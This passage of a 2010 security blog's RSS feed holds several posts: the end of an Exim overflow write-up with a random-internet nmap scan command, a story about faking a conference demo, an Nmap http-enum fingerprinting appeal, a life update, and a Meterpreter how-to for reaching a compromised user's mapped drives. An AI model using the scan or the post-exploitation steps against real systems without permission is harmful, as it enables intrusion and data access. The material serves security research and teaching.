<p>Bodabing! Overflow successful. </p>
<p>The hard part is getting all the sizes, headers, etc just right. The easy part is turning this into code execution -- take a look at <a href='http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format'>Metasploit</a> to find out that part. </p>
<h2>Who's vulnerable?</h2>
<p>Any 4.6x version of Exim is potentially vulnerable, and possibly earlier versions too. The problem is, different versions may have different logging formats, which means the carefully selected count we did to overflow the buffer isn't going to cut it. So in reality, 4.69-debian is highly vulnerable, because that's what Metasploit and Nessus target; other versions may be as well. </p>
<p>So that naturally leads to the question - how many people are running Exim 4.69? Well, my friend bob, always the troublemaker, decided to scan 600,000 hosts on port 25 to see what's running. I don't recommend following in his footsteps, but this is the command he used:</p>
<pre>$ sudo ./nmap -n -d --log-errors -PS25 -p25 --open -sV -T5 -iR 600000
    -oA output/smtp-versions</pre>
<p>Here are the top 10 versions returned (I removed the versions that Nmap didn't recognize), along with their associated counts:</p>
<pre>    240 25/tcp open  smtp    syn-ack Postfix smtpd
    206 25/tcp open  smtp    syn-ack Exim smtpd 4.69
     96 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.4675
     78 25/tcp open  smtp    syn-ack qmail smtpd
     77 25/tcp open  smtp    syn-ack netqmail smtpd 1.04
     40 25/tcp open  smtp    syn-ack BorderWare firewall smtpd
     22 25/tcp open  smtp    syn-ack Microsoft ESMTP
     21 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
     19 25/tcp open  smtp    syn-ack Cisco PIX sanitized smtpd
     18 25/tcp open  smtp    syn-ack Sendmail 8.13.8/8.13.8
</pre>
<p>Based on those numbers, I think it's safe to say that Exim smtpd 4.69 is the second most popular SMTP server in the universe. <a href='http://www.skullsecurity.org/blogdata/smtp-versions-count.txt'>Here's a complete listing</a>. I considered posting the full Nmap log, but I was worried that one of the servers' owners might notice and be upset at Bob. And I don't want to make any extra trouble for him! </p>
<h2>Conclusion</h2>
<p>The conclusion to this is simple: To all those people running vulnerable (or potentially vulnerable) versions of exim: patch! Patch now! This is an incredibly easy exploit to pull off, and there are public versions everywhere. Protect yourself! </p>
<p>And if you don't have a Nessus ProfessionalFeed, get one and you can test your network right now! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/watch-out-for-exim/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Faking demos for fun and profit</title>
		<link>http://www.skullsecurity.org/blog/2010/faking-demos-for-fun-and-profit</link>
		<comments>http://www.skullsecurity.org/blog/2010/faking-demos-for-fun-and-profit#comments</comments>
		<pubDate>Sun, 28 Nov 2010 00:03:38 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=990</guid>
		<description><![CDATA[This week Last week Earlier this month Last month Last year (if this intro doesn't work, I give up trying to post this :) ), I presented at B-Sides Ottawa, which was put on by Andrew Hay and others (and sorry I waited so long before posting this... I kept revising it and not publishing). [...]]]></description>
			<content:encoded><![CDATA[<p><s>This week</s> <s>Last week</s> <s>Earlier this month</s> <s>Last month</s> Last year (if this intro doesn't work, I give up trying to post this :) ), I presented at <a href='http://www.securitybsides.com/w/page/26807426/BSidesOttawa'>B-Sides Ottawa</a>, which was put on by <a href='http://www.andrewhay.ca/'>Andrew Hay</a> and others (and sorry I waited so long before posting this... I kept revising it and not publishing). I got to give a well received talk, meet a lot of great folks, see Ottawa for the first time, and learn that I am a good solid Security D-lister. w00t! </p>
<p>Before I talk about the fun part, where I completely faked out my demo, if you want the slides you can grab them here:<br />
<a href='http://svn.skullsecurity.org:81/ron/security/2010-11-bsides-ottawa/'>http://svn.skullsecurity.org:81/ron/security/2010-11-bsides-ottawa/</a>. You can find more info about the conference and people's slides <a href='http://www.securitybsides.com/w/page/26807426/BSidesOttawa'>at the official site</a>. And finally, <a href='http://www.flickr.com/photos/jack_daniel/5172813651/in/set-72157625373535766/'>here's a picture of me</a> trying to look casual. </p>
<p>B-sides conferences, for those of you who don't know, are awesome little conferences that often (but not always) piggyback on other conferences. They are free (or cheap), run by volunteers, and have raw and technical talks. B-sides Ottawa was no exception, and I'm thrilled I had the chance to not only see it, but take part in it. I really hope to run our own B-sides Winnipeg next year!</p>
<p>Anyway, my talk was on the Nmap Scripting Engine. I wrote a talk and a couple demoes, both of which are available at the above link. My plan was to do two live demoes, coded on stage, with no safety net. Pre-recording demoes is cheating! The demoes were the following:</p>
<ul>
<li>Perform a DNS lookup and scan a host's mailservers</li>
<li>Look up the router's MAC address in a geolocation service and show the google map</li>
</ul>
<p>I practiced them over and over, and they were looking great, so I showed up at B-sides ready to go! </p>
<p>Then I found out I had no Internet connection. </p>
<p>Crap! </p>
<p>So, that night I had a lot of work to do, re-writing my entire talk to work with no Internet connection. As a natural procrastinator, I ended up hanging out with people until the middle of the night, so when I finally made it back to the hotel I couldn't do anything. So, four hours later, first thing in the morning, I got to work. </p>
<h2>Problem 1: DNS</h2>
<p>So the first problem was that I had to perform DNS queries, both for MX and A records. I briefly considered using a shellscript and netcat to do this, but I'm not *that* crazy. Instead, I made some minor changes to <a href='/wiki/index.php/Dnsxss'>dnsxss</a> to return a few fake mailservers for MX queries. </p>
<p>The default behaviour of dnsxss returns 127.0.0.1 for all A queries, and that's exactly what I wanted. </p>
<p>Finally, I set the DNS server of my laptop to 127.0.0.1. Now, no matter what I requested, the right results came back. Problem solved! </p>
<h2>Problem 2: No mail servers!</h2>
<p>The next problem I ran into is that I wanted to scan a mailserver. That was a simple matter of installing a SMTP server and making sure it ran on startup. Another option would have been faking it with netcat and a static response. </p>
<p>With those two problems solved, I had a workable first demo! On to the second...</p>
<h2>Problem 3: No MAC address</h2>
<p>My second script was supposed to look up a MAC address's geolocation information, but what can I do without a MAC address? The easy way would have been to hardcode a MAC into the script, but that's cheating. Nmap doesn't return the MAC address for the loopback address, so I had to find a better way to cheat than simply redirecting DNS. </p>
<p>There's probably a far better way to do this, but I decided to simply set one of my VMWare instances to auto-start on boot. I could then scan it as if I was scanning my router with no one the wiser. Of course, its MAC address isn't going to be in the geolocation database, but that's okay because....</p>
<h2>Problem 4: Geolocation</h2>
<p>To use Google's geolocation service, you obviously need to connect to Google (specifically, www.google.com/loc/json). Requests to www.google.com were already heading to localhost, thanks to my fake DNS server, so this was pretty easy. I created a valid JSON request that appeared to go to Google, and that appeared to have the proper MAC address embedded in it. Of course, it wasn't really going to Google, and it wasn't really the wireless MAC address. But because my Web server running on localhost always returned the proper coordinates, that didn't matter very much. </p>
<p>As a bonus, if I fudged up the MAC address encoding in any way, it wouldn't matter because it was returning a static page. </p>
<h2>Problem 5: Google maps</h5>
<p>The grand finale was going to be when I copied/pasted the latitude and longitude into Google Maps and our current location popped up. Obviously, that couldn't happen. But, my fake DNS server, along with a screenshot of Google Maps, looked surprisingly realistic. </p>
<p>One little point - because I wanted the URL http://maps.google.ca/maps?q=... to work, I had to add a content-type override to a .htaccess file. Not very exciting, but eh?</p>
<h2>Done!</h2>
<p>The week following B-sides Ottawa, I had the privilege to speak at <a href='https://deepsec.net/'>DeepSec</a> in Vienna, Austria (I spoke on <a href='/wiki/index.php/Passwords'>password breaches</a>, in case you're curious). Later that week, I was asked to do a short talk for <a href='http://metalab.at/wiki/English'>Metalab</a>, an Austrian hackerspace. I pulled out this talk again, without my cobbled together infrastructure, and wrote the scripts on stage. This time I had an Internet connection and guess what? They worked the first time! Sven Guckes also posted pictures of me <a href='http://www.guckes.net/pics.2010-11-27/.tmp/SL385042.JPG.html'>getting ready</a> and <a href='http://www.guckes.net/pics.2010-11-27/.tmp/SL385050.JPG.html'>speaking</a>. </p>
<p>And there! I *finally* posted this! See you all at Shmoocon later this week! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/faking-demos-for-fun-and-profit/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A call to arms! Web app fingerprints needed!</title>
		<link>http://www.skullsecurity.org/blog/2010/a-call-to-arms-web-app-fingerprints-needed</link>
		<comments>http://www.skullsecurity.org/blog/2010/a-call-to-arms-web-app-fingerprints-needed#comments</comments>
		<pubDate>Wed, 03 Nov 2010 13:01:31 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=960</guid>
		<description><![CDATA[Hey all, This is partly an overview of a new Nmap feature that I'm excited about, but is mostly a call to arms. I don't have access to enterprise apps anymore, and I'm hoping you can all help me out by submitting fingerprints! Read on for more. http-enum.nse I couldn't resist throwing in the full [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>This is partly an overview of a new Nmap feature that I'm excited about, but is mostly a call to arms. I don't have access to enterprise apps anymore, and I'm hoping you can all help me out by submitting fingerprints! Read on for more. </p>
<h2>http-enum.nse</h2>
<p>I couldn't resist throwing in the full history of http-enum.nse, because I'm chatty like that. If you want to get to the good stuff, go ahead and skip to the next section. </p>
<p>Like most of my projects, I was inspired to work on this after I went to a conference and got some cool ideas. This one happened to be Defcon 17, and the catalyst was <a href='http://secureideas.net/'>Kevin Johnson</a>'s talk on <a href='http://yokoso.inguardians.com/'>Yokoso</a>. Basically, it had a list of known files, whether images or css files or anything else, and it would check if they exist in a browser's history to see if the person had been there. This was a great starting point for http-enum, so after getting Kevin's permission to use the Yokoso database, we intetegrated it and vastly improved http-enum.nse. </p>
<p>That was over a year ago, and just wasn't as powerful as it could be. So, finally, I decide a re-write was in order. </p>
<p>The logical choice for the file format seemed to be what <a href='http://cirt.net/nikto2'>Nikto</a> uses. After all, we're basically implementing Nikto as an Nmap script, so why not make things inter-operable? I wrote the code, and it worked great, but I discussed the concept with Patrik from <a href='http://cqure.net'>cqure.net</a> and we quickly decided that even the Nikto format lacked the power we really wanted. </p>
<p>My final attempt, which I just committed to Nmap's subversion repository this week, was inspired by my success using a .lua file for my <a href='http://nmap.org/svn/nselib/data/psexec/default.lua'>psexec configuration file</a>. Instead of some random file format I invented, it uses a .lua file to build a table of fingerprints. You can take a look at the current version of the fingerprint file in Nmap's <a href='http://nmap.org/svn/nselib/data/http-fingerprints.lua'>Web SVN</a>. You'll see that it basically builds a table of fingerprints, each of which is in a well defined format. </p>
<h2>Running http-enum.nse</h2>
<p>Running http-enum.nse is pretty straight forward, since it's no different from any other script, so go ahead and skip this section if it's old news. </p>
<p>To use http-enum.nse, simply install the latest version of Nmap from SVN and run it:</p>
<pre>svn co --username='guest' --password='' svn://svn.insecure.org/nmap ./nmap-svn
cd nmap-svn
./configure &#038;& make &#038;& make install
nmap --script=http-enum -p80 -d -n www.javaop.com</pre>
<p>(www.javaop.com is my site, and is designed to come back with interesting results, so you're welcome to scan it)</p>
<h2>http-fingerprints.lua</h2>
<p>Each fingerprint can have multiple probes, each containing a path and a method (GET/POST/etc). We may extend this in the future to include more options, like postdata, http headers, etc, if the need arises. The nice thing about Lua tables is that it's completely extensible. </p>
<p>Every fingerprint also contains a match list, which defines the output and, optionally, one or more strings to match. Like Nmap's version check, this can capture portions of the match by including it in parenthesis ('()') and output them using "\1", "\2", etc.</p>
<p>There are other options, too, and you can find them by reading the header document of the <a href='http://nmap.org/svn/nselib/data/http-fingerprints.lua'>http-fingerprints.lua</a> file. The file should have more than enough information and examples to start building your own probes right now. </p>
<p>And, speaking of building your own probes...</p>
<h2>A call to arms!</h2>
<p>So, this is a powerful format. But, the entire http-fingerprints.lua file, as it stands, was based on static probes, so there are very few cases where it gets really interesting data. I no longer work for a place with a large network, so the best thing <s>I can do</s> my friend Bob can do is scan the Internet at random looking for interesting stuff. And while that's fun, it takes a long time and can upset certain organizations. </p>
<p>I'm hoping the community will help Nmap grow its fingerprint database. You can do this in many ways! </p>
<ul>
<li>Go to your major/interesting Web applications at work. Find the main page, or any unauthenticated page. Save the .html and send it, along with the path(s) where it's typically found, to me.</li>
<li>Go to those applications, and write your own fingerprints. If possible, extract a version number. Send it to me.</li>
<li>Go through the fingerprints I already have and see if you can improve the match. The current set of fingerprints were written before it was possible to extract versions, match text, etc.</li>
<li>Go through the long list of "Potentially interesting directory" fingerprints at the end of <a href='http://nmap.org/svn/nselib/data/http-fingerprints.lua'>http-fingerprints.lua</a> and nominate ones that should be deleted or promoted to their own fingerprint.</li>
</ul>
<p>My email is ron-at-skullsecurity.net. Or you can post it as a comment here, <a href='https://twitter.com/iagox86'>tweet me</a>, etc. All my contact info is at the top right. </p>
<p>As you can see, there is a lot that needs to be done, but if we can make this a community effort, and everybody who reads this picks one enterprise application they use and submit a fingerprint for it, we can do some awesome stuff! </p>
<p>My fingerprint database is just over 1000 now.. let's see if we can double that!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/a-call-to-arms-web-app-fingerprints-needed/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Update on my life, conferences, career, etc</title>
		<link>http://www.skullsecurity.org/blog/2010/update-on-my-life-conferences-career-etc</link>
		<comments>http://www.skullsecurity.org/blog/2010/update-on-my-life-conferences-career-etc#comments</comments>
		<pubDate>Fri, 29 Oct 2010 13:58:56 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Conferences]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=956</guid>
		<description><![CDATA[Hey all! It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :) So, what's new with me? I'm working on some cool new Nmap stuff right now, so I'm hoping to [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all! </p>
<p>It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :)</p>
<p>So, what's new with me?</p>
<p>I'm working on some cool new Nmap stuff right now, so I'm hoping to write about that in the next couple months. Web application fingerprinting isn't something I've seen done much, but I'm hoping Nmap can make some good progress on it with the help of Yokoso, Nikto, and some other resources. </p>
<p>About a month ago, I started working for <a href='http://www.tenable.com'>Tenable Network Security</a>. My job is primarily research and reverse engineering, so I've been posting little tidbits to my <a href='https://twitter.com/iagox86'>Twitter account</a>. My official title is "vulnerability research engineer", which is really cool, and they're paying me to speak at a couple conferences, which is exciting. I used to have to take vacation to go to conferences! </p>
<p>I've also worked on a number of cool plugins at Tenable, including remote checks for ms10-070 and ms10-075. I may start writing more about my Tenable experiences here! </p>
<h2>B-sides Ottawa</h2>
<p>I'm going to be speaking at <a href='http://www.securitybsides.com/BSidesOttawa'>B-sides Ottawa</a> on November 13. If any of you are in the area, please come by! I'll be discussing the <a href='http://nmap.org/nsedoc'>Nmap Scripting Engine</a>, and showing everybody how easy it is to write their own scripts. This will be my first time to Ottawa, and I have 3-4 days after the conference to hang out, so I'd love to get a tour of the city from somebody local! </p>
<h2>Deepsec (Vienna)</h2>
<p>Two weeks later, I'm heading to Vienna, Austria, to speak at <a href='https://deepsec.net'>Deepsec</a>! The talk is on November 26 and will be about password breaches/attacks, and it will be my first time in Europe. I can't wait! </p>
<p>Besides security, I just moved back home after 9 weeks of staying with a friend. My place was being repaired, and the repairs took significantly longer than planned, so I got screwed on the deal. But, I have a new floor, carpet, baseboards, and it didn't cost me anything! It looks great, and I'm excited to finish the move. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/update-on-my-life-conferences-career-etc/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Finding Mapped Drives with Meterpreter</title>
		<link>http://www.skullsecurity.org/blog/2010/finding-mapped-drives-with-meterpreter</link>
		<comments>http://www.skullsecurity.org/blog/2010/finding-mapped-drives-with-meterpreter#comments</comments>
		<pubDate>Wed, 01 Sep 2010 14:16:20 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Instructions]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[Metasploit]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=931</guid>
		<description><![CDATA[This post written by Matt Gardenghi --------- This is going to be a series of short "how to" articles so that I have a resource when I forget how I did something. Your benefit from this post is incidental to my desire to have a resource I can reach when I've had a brain cloud. [...]]]></description>
			<content:encoded><![CDATA[<p>This post written by <a href='https://twitter.com/matt_gardenghi'>Matt Gardenghi</a><br />
---------<br />
This is going to be a series of short "how to" articles so that I have a resource when I forget how I did something. Your benefit from this post is incidental to my desire to have a resource I can reach when I've had a brain cloud.</p>
<p>When cracking into a computer via Metasploit, I often (OK, usually) install meterpreter.  It just makes life simpler.  Well, the other day, I was chatting with @jcran about my inability to get access to network drives on a Novell network.  The problem is that Novell maps drives in a sorta funny method compared to Active Directory. At least that was my thought.  The problem generally is that Novell handles things extremely differently then AD, that I assumed that things would be different.  #facepalm</p>
<p>Anyhow, @jcran pointed out the following things to me:</p>
<p>1) If you are SYSTEM, you won't have the credentials of the logged in user.</p>
<p>2) The drives are mapped to the user and SYSTEM isn't a user with mapped drives.</p>
<p>3) The process is the same for finding mapped drives in both Novell and AD.</p>
<p>The procedure for accessing the user's drives goes like this for the SYSTEM user at the Meterpreter prompt:</p>
<p>1) run migrate explorer.exe (this migrates you to the explorer process and gives you the logged in user's privileges.)</p>
<p>2) getuid (verify that you are now the user)</p>
<p>3) run get_env (this dumps the environmental variables including the mapped drives)</p>
<p>4) cd &lt;drive letter&gt; (browse the drives at your leisure)</p>
<p>Simple enough.  Now if only I'd thought it out first....<br />
<img src="/blogdata/file_browsing_example.png" alt="example of file browsing"/></p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/finding-mapped-drives-with-meterpreter/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
